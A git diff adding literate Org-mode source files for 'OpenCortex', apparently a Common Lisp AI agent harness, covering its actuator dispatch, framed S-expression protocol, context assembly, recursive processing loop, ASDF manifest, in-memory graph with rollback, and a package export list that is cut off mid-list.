environment/state/memory-image.lisp Normal file
View File

@@ -0,0 +1,16 @@
(in-package :opencortex)
(SETF (GETHASH "fake-hash-123" *HISTORY-STORE*)
#S(ORG-OBJECT
:ID "persist-test-1"
:TYPE NIL
:ATTRIBUTES NIL
:CONTENT "Integrity Check"
:VECTOR NIL
:PARENT-ID NIL
:CHILDREN NIL
:VERSION NIL
:LAST-SYNC NIL
:HASH "fake-hash-123"))
(SETF (GETHASH "persist-test-1" *MEMORY*)
(GETHASH "fake-hash-123" *HISTORY-STORE*))

212
harness/act.org Normal file
View File

@@ -0,0 +1,212 @@
#+TITLE: Stage 3: Act (act.lisp)
#+AUTHOR: Amr
#+FILETAGS: :harness:act:
#+STARTUP: content
* Stage 3: Act (act.lisp)
** Architectural Intent: Actuation
The Act stage performs the final physical side-effects of the metabolic pipeline. It takes an approved **Action** (the result of the Reasoning stage) and routes it to the correct physical **Actuator**.
Actuators are the "hands" of the OpenCortex. They can be local (printing to a terminal), virtual (executing a shell command), or remote (sending a Matrix message). Crucially, the core microharness does not know *how* to talk to these services; it only knows how to *dispatch* to the registered actuator functions.
** Pipeline Initialization
#+begin_src lisp :tangle ../library/act.lisp
(in-package :opencortex)
#+end_src
* Actuator Configuration
** Default Actuator
#+begin_src lisp :tangle ../library/act.lisp
(defvar *default-actuator* :cli
"The fallback actuator used if a signal has no source or target metadata.")
#+end_src
** Silent Actuators
To prevent infinite feedback loops, certain actuators are flagged as "silent." Results from these actuators are logged but do not trigger a fresh metabolic cycle.
#+begin_src lisp :tangle ../library/act.lisp
(defvar *silent-actuators* '(:cli :system-message :emacs)
"List of actuators whose feedback should not re-enter the Reasoning stage.")
#+end_src
** Initialization Logic (initialize-actuators)
This function hydrates the actuator configuration from the environment and registers the core built-in actuators.
#+begin_src lisp :tangle ../library/act.lisp
(defun initialize-actuators ()
"Loads actuator routing defaults from environment variables and registers core harness actuators."
(let ((def (uiop:getenv "DEFAULT_ACTUATOR"))
(silent (uiop:getenv "SILENT_ACTUATORS")))
(when def
(setf *default-actuator* (intern (string-upcase def) "KEYWORD")))
(when silent
(setf *silent-actuators*
(mapcar (lambda (s) (intern (string-upcase (string-trim '(#\Space) s)) "KEYWORD"))
(str:split "," silent)))))
;; Register core harness actuators
(register-actuator :system #'execute-system-action)
(register-actuator :tool #'execute-tool-action)
(register-actuator :tui (lambda (action context)
(let* ((meta (getf context :meta))
(stream (getf meta :reply-stream)))
(when (and stream (open-stream-p stream))
(format stream "~a" (frame-message action))
(finish-output stream))))))
#+end_src
* Primary Routing
** Dispatching Logic (dispatch-action)
The primary router. It identifies the target actuator based on the Signal's `:META` source or the Action's `:TARGET`.
#+begin_src lisp :tangle ../library/act.lisp
(defun dispatch-action (action context)
"Routes an approved action to its registered physical actuator."
(let ((payload (proto-get action :payload)))
;; Optimization: Heartbeats are system events, not actions.
(when (eq (proto-get payload :sensor) :heartbeat)
(return-from dispatch-action nil)))
(when (and action (listp action))
(let* ((meta (proto-get context :meta))
(source (proto-get meta :source))
(raw-target (or (ignore-errors (getf action :TARGET))
(ignore-errors (getf action :target))
source
*default-actuator*))
(target (intern (string-upcase (string raw-target)) :keyword))
(actuator-fn (gethash target *actuator-registry*)))
;; Propagation: Ensure outbound action inherits metadata
(when (and meta (null (getf action :meta)))
(setf (getf action :meta) meta))
(if actuator-fn
(funcall actuator-fn action context)
(harness-log "ACT ERROR: No actuator for ~s (from ~s)" target raw-target)))))
#+end_src
* Built-in Actuators
** System Actuator (execute-system-action)
Handles meta-operations like hot-loading skills or evaluating raw Lisp within the image.
#+begin_src lisp :tangle ../library/act.lisp
(defun execute-system-action (action context)
"Processes internal harness commands. (ACTUATOR)"
(declare (ignore context))
(let* ((payload (ignore-errors (getf action :payload)))
(cmd (ignore-errors (getf payload :action))))
(case cmd
(:eval (let ((code (getf payload :code)))
(eval (read-from-string code))))
(:create-skill (let* ((filename (getf payload :filename)) (content (getf payload :content))
(skills-dir (merge-pathnames "skills/" (asdf:system-source-directory :opencortex)))
(full-path (merge-pathnames filename skills-dir)))
(with-open-file (out full-path :direction :output :if-exists :supersede) (write-string content out))
(load-skill-from-org full-path)))
(:message (harness-log "ACT [System]: ~a" (getf payload :text)))
(t (harness-log "ACT ERROR [System]: Unknown command ~s" cmd)))))
#+end_src
** Tool Result Formatting (format-tool-result)
A UI helper that distills technical LLM responses into human-readable text.
#+begin_src lisp :tangle ../library/act.lisp
(defun format-tool-result (tool-name result)
"Intelligently formats a tool result for user display."
(if (listp result)
(let ((status (getf result :status))
(content (getf result :content))
(msg (getf result :message)))
(cond ((and (eq status :success) content) (format nil "~a" content))
((and (eq status :error) msg) (format nil "ERROR [~a]: ~a" tool-name msg))
(t (format nil "TOOL [~a] RESULT: ~s" tool-name result))))
(format nil "TOOL [~a] RESULT: ~a" tool-name result)))
#+end_src
** Tool Actuator (execute-tool-action)
The engine for physical interaction. It executes a cognitive tool and generates feedback signals for the user.
#+begin_src lisp :tangle ../library/act.lisp
(defun execute-tool-action (action context)
"Executes a registered cognitive tool and generates feedback signals. (ACTUATOR)"
(let* ((payload (getf action :payload))
(tool-name (getf payload :tool))
(tool-args (getf payload :args))
(depth (getf context :depth 0))
(meta (getf context :meta))
(source (getf meta :source))
(tool (gethash (string-downcase (string tool-name)) *cognitive-tools*)))
(if tool
(handler-case
(let* ((clean-args (if (and (listp tool-args) (listp (car tool-args))) (car tool-args) tool-args))
(result (funcall (cognitive-tool-body tool) clean-args)))
(let ((feedback (list :TYPE :EVENT :DEPTH (1+ depth) :META meta
:PAYLOAD (list :SENSOR :tool-output :RESULT result :TOOL tool-name))))
;; UI Propagation: Send distilled text result back to the source client
(when source
(dispatch-action (list :TYPE :REQUEST :TARGET source
:PAYLOAD (list :ACTION :MESSAGE :TEXT (format-tool-result tool-name result)))
context))
feedback))
(error (c)
(list :TYPE :EVENT :DEPTH (1+ depth) :META meta
:PAYLOAD (list :SENSOR :tool-error :tool tool-name :message (format nil "~a" c)))))
(list :TYPE :EVENT :DEPTH (1+ depth) :META meta
:PAYLOAD (list :SENSOR :tool-error :message "Tool not found")))))
#+end_src
* The Final Pipeline Stage
** Act Gate (act-gate)
The exit point of the metabolic pipeline. It applies a last-mile safety check via the Deterministic Engine and dispatches the signal to the physical world.
#+begin_src lisp :tangle ../library/act.lisp
(defun act-gate (signal)
"Final Stage: Actuation and feedback generation."
(let* ((approved (getf signal :approved-action))
(type (getf signal :type))
(meta (getf signal :meta))
(source (getf meta :source))
(feedback nil)
;; context must keep internal objects for actuators to function
(context signal))
;; 1. Last-Mile Safety Check (The Bouncer & Deterministic Gates)
(when approved
(let* ((original-type (getf approved :type))
(verified (deterministic-verify approved signal)))
(if (and (listp verified)
(member (getf verified :type) '(:LOG :EVENT :log :event))
(not (member original-type '(:LOG :EVENT :log :event))))
(progn
(harness-log "ACT BLOCKED: Action failed last-mile deterministic check.")
(setf (getf signal :approved-action) nil)
(setf approved nil)
(setf feedback verified))
(progn
(setf (getf signal :approved-action) verified)
(setf approved verified)))))
;; 2. Actuation Logic
(case type
(:REQUEST (dispatch-action signal context))
(:LOG (dispatch-action signal context))
(:EVENT
(if approved
(let* ((target (getf approved :target))
(result (dispatch-action approved context)))
(cond ((and (listp result) (member (getf result :type) '(:EVENT :LOG)))
(setf feedback result))
((and result (not (member target *silent-actuators*)))
(setf feedback (list :type :EVENT :depth (1+ (getf signal :depth 0)) :meta meta
:payload (list :sensor :tool-output :result result :tool approved))))))
;; Fallback: route generic stimuli back to their origin
(when source
(dispatch-action signal context)))))
(setf (getf signal :status) :acted)
feedback))
#+end_src

91
harness/communication.org Normal file
View File

@@ -0,0 +1,91 @@
#+TITLE: Communication Protocol (communication.lisp)
#+AUTHOR: Amr
#+FILETAGS: :harness:protocol:
#+STARTUP: content
* Communication Protocol (communication.lisp)
** Architectural Intent: Secure Inter-Process Communication
The Communication Protocol is the bridge between the OpenCortex microharness and the outside world. To maintain the "Zero-Bloat" mandate, the protocol must be:
1. **Lightweight:** Minimal overhead for low-latency terminal interaction.
2. **Deterministic:** Strict S-expression framing to prevent injection attacks.
3. **Transport-Agnostic:** Capable of running over TCP, Unix Sockets, or Standard I/O.
By utilizing a length-prefixed S-expression format (the "Unified Envelope"), we ensure that both human-readable text and complex Lisp data structures can be transmitted securely without the fragility of JSON or the overhead of Protobuf.
** Pipeline Initialization
#+begin_src lisp :tangle ../library/communication.lisp
(in-package :opencortex)
#+end_src
* Message Framing
** Frame Serialization (frame-message)
Every message leaving the harness must be "framed." This involves two steps:
1. *Sanitization:* Stripping raw Lisp objects (like streams or sockets) that cannot be serialized.
2. *Prefixed Framing:* Calculating the length of the S-expression and prepending it as a 6-character hexadecimal string.
Example Frame: ~00001c(:TYPE :STATUS :SCRIBE :IDLE)~
#+begin_src lisp :tangle ../library/communication.lisp
(defun sanitize-protocol-message (msg)
"Recursively strips non-serializable objects (streams, sockets) from a protocol plist."
(if (and msg (listp msg))
(let ((clean nil))
(loop for (k v) on msg by #'cddr
do (unless (member k '(:reply-stream :socket :stream))
(push k clean)
(push (if (listp v) (sanitize-protocol-message v) v) clean)))
(nreverse clean))
msg))
#+end_src
#+begin_src lisp :tangle ../library/communication.lisp
(defun frame-message (msg)
"Serializes a message plist and prefixes it with a 6-character hex length."
(let* ((sanitized (sanitize-protocol-message msg))
(payload (let ((*print-pretty* nil) (*read-eval* nil)) (format nil "~s" sanitized)))
(len (length payload)))
(format nil "~6,'0x~a" len payload)))
#+end_src
* Message Ingestion
** Framed Message Reader (read-framed-message)
The inverse of framing. This function reads exactly the number of bytes specified by the hex-length prefix. This "byte-counted" reading is a critical security measure—it prevents buffer overflow attacks and "slowloris" type hung connections.
#+begin_src lisp :tangle ../library/communication.lisp
(defun read-framed-message (stream)
"Reads a hex-prefixed message from a stream. Returns the parsed Lisp plist or :EOF."
(handler-case
(let ((len-buf (make-string 6)))
;; 1. Read the length prefix
(let ((count (read-sequence len-buf stream)))
(if (< count 6)
:eof
(let ((len (ignore-errors (parse-integer len-buf :radix 16))))
(if (and len (> len 0))
;; 2. Read exactly 'len' bytes
(let ((payload-buf (make-string len)))
(read-sequence payload-buf stream)
(let ((*read-eval* nil))
(read-from-string payload-buf)))
:error)))))
(error (c)
(harness-log "PROTOCOL ERROR: ~a" c)
:error)))
#+end_src
* Semantic Handshakes
** Hello Message (make-hello-message)
The first message sent by the daemon upon client connection. It advertises the protocol version and the agent's current capabilities.
#+begin_src lisp :tangle ../library/communication.lisp
(defun make-hello-message (version)
"Constructs the standard HELLO handshake message."
(list :TYPE :EVENT
:PAYLOAD (list :ACTION :handshake
:VERSION version
:CAPABILITIES '(:AUTH :SWANK :ORG-AST))))
#+end_src

95
harness/context.org Normal file
View File

@@ -0,0 +1,95 @@
#+TITLE: Peripheral Vision (context.lisp)
#+AUTHOR: Amr
#+FILETAGS: :harness:context:
#+STARTUP: content
* Peripheral Vision (context.lisp)
** Architectural Intent: Contextual Awareness
The Context stage (often referred to as "Peripheral Vision") is responsible for assembling the situational awareness that the Probabilistic Engine needs to make informed decisions.
In most agent frameworks, context is provided as a massive, unstructured text dump of recent chat history. OpenCortex takes a more sophisticated approach:
1. **Foveal Focus:** The data immediately relevant to the current task (e.g., the specific Org headline being edited).
2. **Peripheral Awareness:** Low-resolution metadata about the rest of the Memex (e.g., list of active projects, recent system logs, current time/location).
3. **Semantic Retrieval:** Utilizing vector embeddings to pull in semantically related nodes from the long-term memory.
By balancing these three layers, we provide the agent with a "Wide Angle" view of the user's life without overflowing the LLM's context window.
** Pipeline Initialization
#+begin_src lisp :tangle ../library/context.lisp
(in-package :opencortex)
#+end_src
* Awareness Assembly
** Project Awareness (context-get-active-projects)
Identifies current active work by querying the Org Memory for nodes with the ~:PROJECT:~ tag or ~NEXT~ status.
#+begin_src lisp :tangle ../library/context.lisp
(defun context-get-active-projects ()
"Retrieves a list of project headlines currently marked as NEXT or in progress."
(let ((all-projects (list-objects-with-attribute :CATEGORY "Project")))
(loop for p in all-projects
collect (list :id (org-object-id p)
:title (getf (org-object-attributes p) :TITLE)))))
#+end_src
** Historical Awareness (context-get-recent-completed-tasks)
Provides short-term memory of what was recently achieved, allowing the agent to maintain continuity.
#+begin_src lisp :tangle ../library/context.lisp
(defun context-get-recent-completed-tasks (&optional (limit 5))
"Retrieves the last N tasks marked as DONE from the memory history."
(let ((all-completed (list-objects-with-attribute :TODO "DONE")))
(subseq (sort all-completed #'> :key #'org-object-version)
0 (min limit (length all-completed)))))
#+end_src
** Skill Awareness (context-list-all-skills)
Allows the agent to understand its own capabilities by listing the human-readable descriptions of all loaded Literate Skills.
#+begin_src lisp :tangle ../library/context.lisp
(defun context-list-all-skills ()
"Returns a list of registered skills and their documentation."
(let ((results nil))
(maphash (lambda (id skill)
(push (list :id id :name (skill-name skill)) results))
*skills-registry*)
results))
#+end_src
** System Awareness (context-get-system-logs)
Crucial for self-debugging. Provides the agent with the internal logs so it can explain why a previous action failed or was blocked by a Bouncer.
#+begin_src lisp :tangle ../library/context.lisp
(defun context-get-system-logs ()
"Retrieves the in-memory circular log buffer."
(bt:with-lock-held (*logs-lock*)
(format nil "~{~a~%~}" (reverse *system-logs*))))
#+end_src
* Global Context Generation
** Awareness Assembly (context-assemble-global-awareness)
This function acts as the "Contextual Conductor." It synthesizes the various awareness layers into a single, high-signal string suitable for the LLM system prompt.
#+begin_src lisp :tangle ../library/context.lisp
(defun context-assemble-global-awareness ()
"Assembles the full context block for a neural request."
(let ((projects (context-get-active-projects))
(time (multiple-value-bind (s m h d mo y) (get-decoded-time) (format nil "~a-~a-~a ~a:~a:~a" y mo d h m s))))
(format nil "CURRENT_TIME: ~a. ACTIVE_PROJECTS: ~s. FOVEAL_FOCUS: ~a"
time
projects
(or *foveal-focus-id* "None"))))
#+end_src
** Semantic Context Query (context-query-store)
A hook for future vector-based retrieval. In the MVP, it performs a simple keyword search over the Memory graph.
#+begin_src lisp :tangle ../library/context.lisp
(defun context-query-store (query &key (limit 5))
"Placeholder for semantic/vector search over the Memex."
(declare (ignore query limit))
nil)
#+end_src

140
harness/loop.org Normal file
View File

@@ -0,0 +1,140 @@
#+TITLE: The Metabolic Loop (loop.lisp)
#+AUTHOR: Amr
#+FILETAGS: :harness:loop:
#+STARTUP: content
* The Metabolic Loop (loop.lisp)
** Architectural Intent: The Heartbeat
The Metabolic Loop is the high-level coordinator of the OpenCortex. It orchestrates the flow of energy (information) through the system by recursively calling the metabolic stages: Perceive, Reason, and Act.
Inspired by biological metabolism, the loop ensures that every stimulus is processed until it reaches "stasis" (no further actions required) or an error occurs. This recursive design allows the agent to chain multiple thoughts and tool calls together into a single cohesive cognitive session.
** Pipeline Initialization
#+begin_src lisp :tangle ../library/loop.lisp
(in-package :opencortex)
#+end_src
* Concurrency and Interrupts
** Metabolic Interrupt Flag
The harness must be able to stop gracefully. We use a thread-safe flag to signal the daemon to exit its primary loop.
#+begin_src lisp :tangle ../library/loop.lisp
(defvar *interrupt-flag* nil
"Thread-safe signal to halt the metabolic pipeline and daemon.")
#+end_src
#+begin_src lisp :tangle ../library/loop.lisp
(defvar *interrupt-lock* (bt:make-lock "harness-interrupt-lock")
"Protects the interrupt flag from concurrent access.")
#+end_src
** Heartbeat Thread Reference
#+begin_src lisp :tangle ../library/loop.lisp
(defvar *heartbeat-thread* nil
"Reference to the background thread driving autonomous reflection.")
#+end_src
* The Metabolic Pipeline
** Signal Processor (process-signal)
The primary cognitive processor. It takes a normalized signal and pushes it through the gates. If a gate generates "Feedback" (e.g., a tool result), the function recursively processes that feedback as a new stimulus.
#+begin_src lisp :tangle ../library/loop.lisp
(defun process-signal (signal)
"The entry point to the Metabolic Pipeline: Perceive -> Reason -> Act."
(let ((current-signal signal))
(loop while current-signal do
(let ((depth (getf current-signal :depth 0))
(meta (getf current-signal :meta)))
;; Safety: Prevent infinite cognitive recursion.
(when (> depth 10) (harness-log "METABOLISM ERROR: Max depth reached.") (return nil))
;; Check for graceful shutdown.
(when (bt:with-lock-held (*interrupt-lock*) *interrupt-flag*)
(harness-log "METABOLISM: Interrupted.")
(bt:with-lock-held (*interrupt-lock*) (setf *interrupt-flag* nil))
(return nil))
(handler-case
(progn
;; Stage 1: Ingest and Normalize
(setf current-signal (perceive-gate current-signal))
;; Stage 2: Cogitate and Verify
(setf current-signal (reason-gate current-signal))
;; Stage 3: Actuate and Generate Feedback
(let ((feedback (act-gate current-signal)))
(if feedback
(progn
;; Inheritance: Metadata must persist across recursive cycles.
(unless (getf feedback :meta) (setf (getf feedback :meta) meta))
(setf current-signal feedback))
(setf current-signal nil))))
(error (c)
(let ((sensor (ignore-errors (getf (getf current-signal :payload) :sensor))))
(harness-log "METABOLISM CRASH [~a]: ~a" (or sensor :unknown) c)
;; Resilience: Only rollback on critical system errors.
(unless (member sensor '(:loop-error :tool-error :syntax-error))
(harness-log "CRITICAL ERROR: Initiating Micro-Rollback.")
(rollback-memory 0))
;; If recursion is shallow, attempt to notify the user of the error.
(if (or (> depth 2) (member sensor '(:loop-error :tool-error)))
(setf current-signal nil)
(setf current-signal (list :type :EVENT :depth (1+ depth) :meta meta
:payload (list :sensor :loop-error :message (format nil "~a" c) :depth depth)))))))))))
#+end_src
* Autonomous Reflection
** Heartbeat Mechanism (start-heartbeat)
The heartbeat ensures the agent remains "alive" even in the absence of external stimuli. It allows background workers like the Scribe and Gardener to trigger periodically.
#+begin_src lisp :tangle ../library/loop.lisp
(defun start-heartbeat ()
"Starts the background heartbeat thread. Interval is loaded from HEARTBEAT_INTERVAL (default: 60s)."
(let ((interval (or (ignore-errors (parse-integer (uiop:getenv "HEARTBEAT_INTERVAL"))) 60)))
(setf *heartbeat-thread*
(bt:make-thread
(lambda ()
(loop
(sleep interval)
;; Note: inject-stimulus is synchronous for heartbeats to prevent task accumulation.
(inject-stimulus (list :type :EVENT :payload (list :sensor :heartbeat :unix-time (get-universal-time))))))
:name "opencortex-heartbeat"))))
#+end_src
* Lifecycle Management
** Main Daemon Entry Point (main)
Initializes the image, boots the gateways, and enters the primary idle loop.
#+begin_src lisp :tangle ../library/loop.lisp
(defun main ()
"Primary entry point for the OpenCortex daemon."
;; 1. Environment Hydration
(let* ((home (uiop:getenv "HOME"))
(env-file (uiop:merge-pathnames* ".local/share/opencortex/.env" (uiop:ensure-directory-pathname home))))
(when (uiop:file-exists-p env-file) (cl-dotenv:load-env env-file)))
;; 2. System Bootstrap
(initialize-actuators)
(initialize-all-skills)
;; 3. Wake up the heart.
(start-heartbeat)
;; 4. OS Signal Handling (SBCL specific)
#+sbcl
(sb-sys:enable-interrupt sb-unix:sigint
(lambda (sig code scp)
(declare (ignore sig code scp))
(harness-log "SHUTDOWN: SIGINT received. Exiting...")
(uiop:quit 0)))
;; 5. Primary Idle Loop
(let ((sleep-interval (or (ignore-errors (parse-integer (uiop:getenv "DAEMON_SLEEP_INTERVAL"))) 3600)))
(loop
(when (bt:with-lock-held (*interrupt-lock*) *interrupt-flag*) (return))
(sleep sleep-interval))))
#+end_src

86
harness/manifest.org Normal file
View File

@@ -0,0 +1,86 @@
#+TITLE: Manifest (opencortex.asd)
#+AUTHOR: Amr
#+FILETAGS: :harness:system:
#+STARTUP: content
* Manifest (opencortex.asd)
** Architectural Intent: The ASDF Skeleton
The ~opencortex.asd~ file is the physical blueprint of the Lisp Machine. It uses **Another System Definition Facility (ASDF)** to orchestrate the compilation, dependency resolution, and loading of all harness modules.
In standard Common Lisp projects, dependency graphs can be complex and non-linear. However, the OpenCortex harness mandates a strict, linear bootstrap sequence.
*** Strict Serial Loading (:serial t)
The harness uses the ~:serial t~ flag. This is a critical design choice that ensures every file is compiled and loaded in the exact order it appears in the ~:components~ list.
- *Why?* This eliminates "macro-not-found" errors by guaranteeing that the ~package.lisp~ (where the core namespace is defined) and ~skills.lisp~ (where core macros are defined) are always established before any behavioral logic or dynamic skills are loaded.
*** Separation of Concerns
The manifest defines three distinct systems to minimize runtime bloat and maximize portability.
#+begin_src mermaid
flowchart TD
Org[Literate Org Files] -- Tangle --> Lisp[Source .lisp Files]
Lisp --> ASDF[ASDF Manifest: .asd]
ASDF --> Loader[SBCL Compiler / Loader]
Loader --> Image[Live Harness Image]
Image -- Build --> Binary[Standalone Binary]
#+end_src
** Core Harness System
This system defines the "Thin Harness"—the minimalist microkernel responsible for the protocol and the metabolic loop.
#+begin_src lisp :tangle ../opencortex.asd
(defsystem :opencortex
:name "opencortex"
:author "Amr"
:version "0.1.0"
:license "AGPLv3"
:description "The Probabilistic-Deterministic Lisp Machine Harness"
:depends-on (:usocket :bordeaux-threads :dexador :uiop :cl-dotenv :cl-ppcre :hunchentoot :ironclad :str :cl-json :uuid)
:serial t
:components ((:file "src/package")
(:file "src/skills")
(:file "src/policy")
(:file "src/communication-validator")
(:file "src/communication")
(:file "src/memory")
(:file "src/context")
(:file "src/probabilistic")
(:file "src/perceive")
(:file "src/reason")
(:file "src/act")
(:file "src/loop"))
:build-operation "program-op"
:build-pathname "opencortex-server"
:entry-point "opencortex:main")
#+end_src
** Verification Suite
The Verification Suite contains the empirical tests required by the Engineering Standards. It is isolated from the core system to ensure that production environments do not load the FiveAM framework or test data.
#+begin_src lisp :tangle ../opencortex.asd
(defsystem :opencortex/tests
:depends-on (:opencortex :fiveam)
:components ((:file "tests/communication-tests")
(:file "tests/pipeline-tests")
(:file "tests/act-tests")
(:file "tests/boot-sequence-tests")
(:file "tests/memory-tests")
(:file "tests/immune-system-tests"))
:perform (test-op (o s)
(uiop:symbol-call :fiveam :run! (uiop:find-symbol* :communication-protocol-suite :opencortex-tests))
(uiop:symbol-call :fiveam :run! (uiop:find-symbol* :pipeline-suite :opencortex-pipeline-tests))
(uiop:symbol-call :fiveam :run! (uiop:find-symbol* :safety-suite :opencortex-safety-tests))
(uiop:symbol-call :fiveam :run! (uiop:find-symbol* :boot-suite :opencortex-boot-tests))
(uiop:symbol-call :fiveam :run! (uiop:find-symbol* :memory-suite :opencortex-memory-tests))
(uiop:symbol-call :fiveam :run! (uiop:find-symbol* :immune-suite :opencortex-immune-system-tests))))
#+end_src
** TUI Client
The TUI Client is a standalone consumer of the OpenCortex protocol. It uses the ~croatoan~ library for native terminal rendering.
#+begin_src lisp :tangle ../opencortex.asd
(defsystem :opencortex/tui
:depends-on (:opencortex :croatoan :usocket :bordeaux-threads)
:components ((:file "src/tui-client")))
#+end_src

150
harness/memory.org Normal file
View File

@@ -0,0 +1,150 @@
#+TITLE: Homoiconic Memory (memory.lisp)
#+AUTHOR: Amr
#+FILETAGS: :harness:memory:
#+STARTUP: content
* Homoiconic Memory (memory.lisp)
** Architectural Intent: The Live Graph
The Memory module is the "conscious mind" of the OpenCortex. Unlike traditional agents that rely on slow, external databases (SQL or Vector), OpenCortex maintains your entire Memex as a live, homoiconic graph of Lisp objects in RAM.
*** Why RAM-First?
1. **Zero-Latency Inference:** Traversing complex associations between notes and tasks occurs at native Lisp speeds, without the overhead of context-switching to a database driver.
2. **Unified Data Model:** Since the program (Lisp) and the data (the Memory) share the same structure, the agent can manipulate its own memory as naturally as it manipulates its own code.
3. **Graph Sovereignty:** By keeping the graph in-process, we ensure that the user's private knowledge base never leaves the host machine unless explicitly requested by a gateway.
** Pipeline Initialization
#+begin_src lisp :tangle ../library/memory.lisp
(in-package :opencortex)
#+end_src
* Core Data Structures
** The Object Registry
#+begin_src lisp :tangle ../library/memory.lisp
(defvar *memory* (make-hash-table :test 'equal)
"The primary in-memory graph of all Org-mode entities, keyed by their unique ID.")
#+end_src
** The History Store (Merkle History)
OpenCortex maintains a history of memory states to allow for "Micro-Rollbacks" if a skill or tool execution results in an inconsistent state.
#+begin_src lisp :tangle ../library/memory.lisp
(defvar *history-store* (make-array 0 :fill-pointer 0 :adjustable t)
"A versioned log of the memory state, allowing for temporal traversal and rollback.")
#+end_src
** The Org-Object Definition
Every headline, paragraph, or task in the Memex is represented as an ~org-object~.
#+begin_src lisp :tangle ../library/memory.lisp
(defstruct org-object
"The fundamental unit of knowledge in the OpenCortex."
id
type
attributes
parent-id
children
version
last-sync
vector
content
hash)
#+end_src
* Integrity and Hashing
** Merkle Hashing (compute-merkle-hash)
To ensure data integrity and detect changes during external edits, we utilize Merkle-tree hashing. A node's hash is derived from its own content plus the hashes of its children.
#+begin_src lisp :tangle ../library/memory.lisp
(defun compute-merkle-hash (id type attributes content child-hashes)
"Computes a SHA-256 Merkle hash for a node based on its core properties and children's hashes."
(let* ((alist (loop for (k v) on attributes by #'cddr collect (cons k v)))
(sorted-alist (sort alist #'string< :key (lambda (x) (format nil "~a" (car x)))))
(attr-string (format nil "~s" sorted-alist))
(children-string (format nil "~{~a~}" child-hashes))
(raw-data (format nil "~a|~a|~a|~a|~a" id type attr-string (or content "") children-string)))
(ironclad:byte-array-to-hex-string
(ironclad:digest-sequence :sha256 (ironclad:ascii-string-to-byte-array raw-data)))))
#+end_src
* Memory Ingestion
** AST Ingestion (ingest-ast)
The primary mechanism for translating raw Org-mode Abstract Syntax Trees (provided by Emacs or a parser) into the live Lisp graph.
#+begin_src lisp :tangle ../library/memory.lisp
(defun ingest-ast (ast &optional parent-id)
"Recursively parses an Org AST into the Lisp Memory registry."
(let* ((type (getf ast :type))
(properties (getf ast :properties))
(id (or (getf properties :ID) (uuid:make-v4-uuid)))
(content (getf ast :content))
(children (getf ast :contents))
(child-ids nil))
;; Recursively ingest children and collect their IDs
(dolist (child children)
(let ((child-obj (ingest-ast child id)))
(when child-obj (push (org-object-id child-obj) child-ids))))
(let ((obj (make-org-object :id id
:type type
:attributes properties
:parent-id parent-id
:children (nreverse child-ids)
:content content
:version (get-universal-time))))
(setf (gethash id *memory*) obj)
obj)))
#+end_src
* Retrieval and Search
** Object Lookup (lookup-object)
#+begin_src lisp :tangle ../library/memory.lisp
(defun lookup-object (id)
"Retrieves an object from memory by its ID."
(gethash id *memory*))
#+end_src
** Semantic Attribute Search (list-objects-with-attribute)
Allows for querying the memory based on metadata (e.g., finding all nodes tagged :PROJECT:).
#+begin_src lisp :tangle ../library/memory.lisp
(defun list-objects-with-attribute (key value)
"Returns a list of objects that possess the specified attribute pair."
(let ((results nil))
(maphash (lambda (id obj)
(declare (ignore id))
(when (equal (getf (org-object-attributes obj) key) value)
(push obj results)))
*memory*)
results))
#+end_src
* Persistence and Resilience
** Memory Snapshots (snapshot-memory)
Captures the current state of the memory graph.
#+begin_src lisp :tangle ../library/memory.lisp
(defun snapshot-memory ()
"Creates a deep copy of the memory hash table and pushes it to the history store."
(let ((new-snap (make-hash-table :test 'equal)))
(maphash (lambda (k v) (setf (gethash k new-snap) (copy-org-object v))) *memory*)
(vector-push-extend new-snap *history-store*)))
#+end_src
** Micro-Rollbacks (rollback-memory)
The primary defense against accidental memory corruption by faulty skills.
#+begin_src lisp :tangle ../library/memory.lisp
(defun rollback-memory (&optional (steps 1))
"Restores the memory to a previous snapshot state."
(let ((index (- (length *history-store*) steps 1)))
(when (>= index 0)
(setf *memory* (aref *history-store* index))
(harness-log "IMMUNE SYSTEM: Memory rolled back ~a steps." steps))))
#+end_src

273
harness/package.org Normal file
View File

@@ -0,0 +1,273 @@
#+TITLE: System Interface (package.lisp)
#+AUTHOR: Amr
#+FILETAGS: :harness:interface:
#+STARTUP: content
* System Interface (package.lisp)
The ~package.lisp~ file defines the public API of the ~opencortex~ harness. It serves as the primary membrane between the deterministic core modules and the dynamic world of skills and actuators.
** Architectural Intent: The Package Membrane
By strictly defining the public interface, we ensure that skills remain decoupled from the harness implementation details. This allows for autonomous replacement of any component (e.g., swapping the Memory or the Probabilistic Engine) without breaking existing skills.
#+begin_src mermaid
flowchart TD
External[Actuators / Clients] -- communication protocol --> Package[Package Membrane: API]
Skills[Dynamic Skills] -- API Calls --> Package
Package --> Internal[Harness Internal Modules]
style Package fill:#f9f,stroke:#333,stroke-width:4px
#+end_src
** Public API Export
#+begin_src lisp :tangle ../library/package.lisp
(defpackage :opencortex
(:use :cl)
(:export
;; --- Communication Protocol ---
#:frame-message
#:read-framed-message
#:PROTO-GET
#:LIST-OBJECTS-WITH-ATTRIBUTE
#:COSINE-SIMILARITY
#:VAULT-MASK-STRING
#:*VAULT-MEMORY*
#:parse-message
#:make-hello-message
#:validate-communication-protocol-schema
;; --- Daemon Lifecycle ---
#:start-daemon
#:stop-daemon
#:harness-log
#:main
;; --- Memory (CLOSOS) ---
#:ingest-ast
#:lookup-object
#:list-objects-by-type
#:org-id-new
#:*memory*
#:*history-store*
#:org-object
#:make-org-object
#:org-object-id
#:org-object-type
#:org-object-attributes
#:org-object-parent-id
#:org-object-children
#:org-object-version
#:org-object-last-sync
#:org-object-vector
#:org-object-content
#:org-object-hash
#:snapshot-memory
#:rollback-memory
;; --- Context API (Peripheral Vision) ---
#:context-query-store
#:context-get-active-projects
#:context-get-recent-completed-tasks
#:context-list-all-skills
#:context-get-skill-source
#:context-get-system-logs
#:context-resolve-path
#:context-get-skill-telemetry
#:harness-track-telemetry
#:context-assemble-global-awareness
;; --- Reactive Signal Pipeline ---
#:process-signal
#:perceive-gate
#:probabilistic-gate
#:consensus-gate
#:act-gate
#:reason-gate
#:perceive-gate
#:dispatch-gate
#:inject-stimulus
#:initialize-actuators
#:dispatch-action
#:register-actuator
;; --- Skill Engine ---
#:load-skill-from-org
#:initialize-all-skills
#:load-skill-with-timeout
#:topological-sort-skills
#:validate-lisp-syntax
#:defskill
#:*skills-registry*
#:skill
#:skill-name
#:skill-priority
#:skill-dependencies
#:skill-trigger-fn
#:skill-probabilistic-prompt
#:skill-deterministic-fn
;; --- Tool Registry ---
#:def-cognitive-tool
#:*cognitive-tools*
#:cognitive-tool
#:cognitive-tool-name
#:cognitive-tool-description
#:cognitive-tool-parameters
#:cognitive-tool-guard
